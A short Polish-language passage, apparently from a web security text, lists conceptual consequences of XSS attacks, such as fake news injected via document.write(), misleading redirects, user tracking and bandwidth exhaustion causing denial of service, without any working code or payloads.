więc tylko jednym przykładem ataku. XSS pozwala jednak na przeprowadzenie dużo
groźniejszych ataków niż tylko wykradnięcie treści ciasteczek.
• Dezinformowanie – Funkcja
document.write()
pozwala na umieszczanie wielu
fałszywych informacji. Wyobraźmy sobie istotną stronę z aktualnościami, podatną
na atak XSS. Atakujący mógłby na przykład stworzyć wiadomość o ataku nuklear-
nym i rozprowadzić adres przez e-maile oraz fora dyskusyjne. Wiadomość zyska na
wiarygodności dzięki renomie witryny, przez co wiele osób w nią uwierzy.
• Zmylanie – Podobnie jak w powyższym przypadku, użytkownik może zostać wpro-
wadzony w błąd przy użyciu przekierowania lub podmiany treści.
• Śledzenie użytkowników – Pomysłowy atakujący może pozyskać informacje na
temat stopnia odwiedzalności i klikalności poszczególnych elementów serwisu.
Mechanizm ten jest powszechnie używany do generowania statystyk.
• Obciążanie łącz – Przyjmijmy za przykład większą stronę z aktualnościami, mają-
cą kilka tysięcy wizyt dziennie. Jeśli atakujący wklei kod, ładujący największy plik
z serwera, wygeneruje tym samym ogromne obciążenie, które może spowodować
efekt DOS.